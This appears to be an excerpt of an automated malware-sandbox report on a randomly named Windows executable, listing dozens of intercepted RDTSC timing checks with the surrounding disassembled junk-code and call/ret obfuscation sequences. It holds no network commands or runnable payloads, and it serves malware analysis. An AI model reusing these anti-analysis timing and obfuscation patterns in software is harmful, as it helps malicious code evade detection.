Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A2FE9 second address: 11A2FF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A3128 second address: 11A3133 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007EFCC8D6A376h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A32E5 second address: 11A3302 instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFCC8E1B148h 0x00000008 jp 00007EFCC8E1B136h 0x0000000e jmp 00007EFCC8E1B13Ch 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A3302 second address: 11A3308 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A39B9 second address: 11A39BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A39BD second address: 11A39C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A39C9 second address: 11A39CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A39CD second address: 11A39E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFCC8D6A37Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A39E5 second address: 11A39E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 119AE1D second address: 119AE21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 119AE21 second address: 119AE3B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007EFCC8E1B136h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007EFCC8E1B13Eh 0x00000012 js 00007EFCC8E1B136h 0x00000018 pushad 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 119AE3B second address: 119AE45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007EFCC8D6A376h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 119AE45 second address: 119AE49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A4117 second address: 11A412D instructions: 0x00000000 rdtsc 0x00000002 jo 00007EFCC8D6A376h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c ja 00007EFCC8D6A37Ah 0x00000012 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A412D second address: 11A414E instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFCC8E1B138h 0x00000008 pushad 0x00000009 popad 0x0000000a jns 00007EFCC8E1B13Ch 0x00000010 jp 00007EFCC8E1B136h 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b ja 00007EFCC8E1B136h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A414E second address: 11A4154 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A445A second address: 11A445E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A445E second address: 11A4472 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edi 0x00000009 pushad 0x0000000a push edi 0x0000000b push eax 0x0000000c pop eax 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 pop eax 0x00000014 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A4472 second address: 11A4476 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A4602 second address: 11A4619 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007EFCC8D6A37Ch 0x00000010 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A6136 second address: 11A613A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A613A second address: 11A615B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007EFCC8D6A385h 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A615B second address: 11A6161 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A6161 second address: 11A6186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007EFCC8D6A380h 0x0000000b popad 0x0000000c js 00007EFCC8D6A388h 0x00000012 push eax 0x00000013 push edx 0x00000014 jno 00007EFCC8D6A376h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11A6186 second address: 11A618A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11AD2A7 second address: 11AD2AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11AD2AB second address: 11AD2D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push esi 0x00000008 pop esi 0x00000009 jnc 00007EFCC8E1B136h 0x0000000f popad 0x00000010 popad 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 pushad 0x00000016 jbe 00007EFCC8E1B13Ch 0x0000001c jp 00007EFCC8E1B136h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11AD2D1 second address: 11AD2FE instructions: 0x00000000 rdtsc 0x00000002 jne 00007EFCC8D6A376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007EFCC8D6A383h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jns 00007EFCC8D6A376h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B124C second address: 11B1259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jc 00007EFCC8E1B13Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B1259 second address: 11B127A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007EFCC8D6A37Fh 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B127A second address: 11B128D instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFCC8E1B136h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jc 00007EFCC8E1B136h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B1689 second address: 11B16A7 instructions: 0x00000000 rdtsc 0x00000002 jp 00007EFCC8D6A376h 0x00000008 jnp 00007EFCC8D6A376h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jmp 00007EFCC8D6A37Eh 0x00000015 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B16A7 second address: 11B16B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007EFCC8E1B136h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B1960 second address: 11B1964 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B1964 second address: 11B1968 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B1BE7 second address: 11B1C10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007EFCC8D6A376h 0x0000000a jne 00007EFCC8D6A376h 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 jnc 00007EFCC8D6A37Ch 0x00000019 popad 0x0000001a pushad 0x0000001b jo 00007EFCC8D6A37Eh 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B2A48 second address: 11B2A4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B2DD0 second address: 11B2DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B2DD4 second address: 11B2DD9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B3350 second address: 11B3361 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007EFCC8D6A376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B3419 second address: 11B341E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B371E second address: 11B3724 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B3724 second address: 11B3728 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B3841 second address: 11B3852 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A37Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B3852 second address: 11B3878 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007EFCC8E1B136h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007EFCC8E1B142h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B3878 second address: 11B387D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B387D second address: 11B3882 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B47FF second address: 11B4803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B60CC second address: 11B60D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B6B82 second address: 11B6BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007EFCC8D6A386h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B6DEF second address: 11B6E5A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B13Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007EFCC8E1B138h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Bh 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 push 00000000h 0x00000028 push 00000000h 0x0000002a push 00000000h 0x0000002c push eax 0x0000002d call 00007EFCC8E1B138h 0x00000032 pop eax 0x00000033 mov dword ptr [esp+04h], eax 0x00000037 add dword ptr [esp+04h], 0000001Ch 0x0000003f inc eax 0x00000040 push eax 0x00000041 ret 0x00000042 pop eax 0x00000043 ret 0x00000044 xchg eax, ebx 0x00000045 pushad 0x00000046 ja 00007EFCC8E1B138h 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B6BA0 second address: 11B6BA5 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B6E5A second address: 11B6E5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B6E5E second address: 11B6E74 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007EFCC8D6A376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jc 00007EFCC8D6A384h 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B797F second address: 11B7983 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11B81A6 second address: 11B81AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11BBCE3 second address: 11BBCE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11BBCE7 second address: 11BBCF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11BBCF0 second address: 11BBD09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007EFCC8E1B140h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11BD3E7 second address: 11BD42D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A386h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007EFCC8D6A385h 0x0000000e popad 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007EFCC8D6A383h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11BF32F second address: 11BF339 instructions: 0x00000000 rdtsc 0x00000002 js 00007EFCC8E1B13Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11BE6F4 second address: 11BE77F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 pushad 0x00000008 je 00007EFCC8D6A376h 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 push 00000000h 0x00000017 push ecx 0x00000018 call 00007EFCC8D6A378h 0x0000001d pop ecx 0x0000001e mov dword ptr [esp+04h], ecx 0x00000022 add dword ptr [esp+04h], 00000018h 0x0000002a inc ecx 0x0000002b push ecx 0x0000002c ret 0x0000002d pop ecx 0x0000002e ret 0x0000002f mov dword ptr [ebp+122D2362h], esi 0x00000035 push dword ptr fs:[00000000h] 0x0000003c or dword ptr [ebp+122D230Ah], edx 0x00000042 mov dword ptr fs:[00000000h], esp 0x00000049 mov bx, E6EDh 0x0000004d mov eax, dword ptr [ebp+122D078Dh] 0x00000053 mov ebx, dword ptr [ebp+122D2358h] 0x00000059 pushad 0x0000005a mov dx, di 0x0000005d call 00007EFCC8D6A37Dh 0x00000062 sub dword ptr [ebp+1244EBDDh], edi 0x00000068 pop ecx 0x00000069 popad 0x0000006a push FFFFFFFFh 0x0000006c add ebx, dword ptr [ebp+122D3866h] 0x00000072 mov edi, 3ECDAB8Ah 0x00000077 nop 0x00000078 push eax 0x00000079 push edx 0x0000007a pushad 0x0000007b push eax 0x0000007c push edx 0x0000007d rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11BF339 second address: 11BF389 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jc 00007EFCC8E1B136h 0x0000000f push 00000000h 0x00000011 sbb bx, 89FCh 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007EFCC8E1B138h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 0000001Dh 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 add dword ptr [ebp+122D2B88h], ebx 0x00000038 xchg eax, esi 0x00000039 pushad 0x0000003a js 00007EFCC8E1B138h 0x00000040 push edi 0x00000041 pop edi 0x00000042 pushad 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11BE77F second address: 11BE799 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007EFCC8D6A385h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11BF389 second address: 11BF38F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C0402 second address: 11C0413 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jc 00007EFCC8D6A378h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11BF5AA second address: 11BF5B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C0602 second address: 11C0606 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C13CD second address: 11C13EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8E1B144h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C0606 second address: 11C0621 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A381h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C13EB second address: 11C13F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C13F1 second address: 11C13F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C2376 second address: 11C237C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C3361 second address: 11C336B instructions: 0x00000000 rdtsc 0x00000002 js 00007EFCC8D6A376h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C42B5 second address: 11C42B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C42B9 second address: 11C42BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C42BF second address: 11C42C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C42C5 second address: 11C42D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C42D3 second address: 11C42D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C42D8 second address: 11C42DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C42DF second address: 11C434B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push eax 0x0000000b call 00007EFCC8E1B138h 0x00000010 pop eax 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 add dword ptr [esp+04h], 00000019h 0x0000001d inc eax 0x0000001e push eax 0x0000001f ret 0x00000020 pop eax 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebp 0x00000027 call 00007EFCC8E1B138h 0x0000002c pop ebp 0x0000002d mov dword ptr [esp+04h], ebp 0x00000031 add dword ptr [esp+04h], 00000019h 0x00000039 inc ebp 0x0000003a push ebp 0x0000003b ret 0x0000003c pop ebp 0x0000003d ret 0x0000003e mov bx, di 0x00000041 adc ebx, 748ABEDBh 0x00000047 xor dword ptr [ebp+122D3665h], eax 0x0000004d push 00000000h 0x0000004f add dword ptr [ebp+122D2BBDh], edx 0x00000055 xchg eax, esi 0x00000056 push eax 0x00000057 push edx 0x00000058 pushad 0x00000059 push edx 0x0000005a pop edx 0x0000005b pushad 0x0000005c popad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C35CF second address: 11C35EA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007EFCC8D6A37Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007EFCC8D6A376h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\U8mbM8r793.exe	RDTSC instruction interceptor: First address: 11C35EA second address: 11C35EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
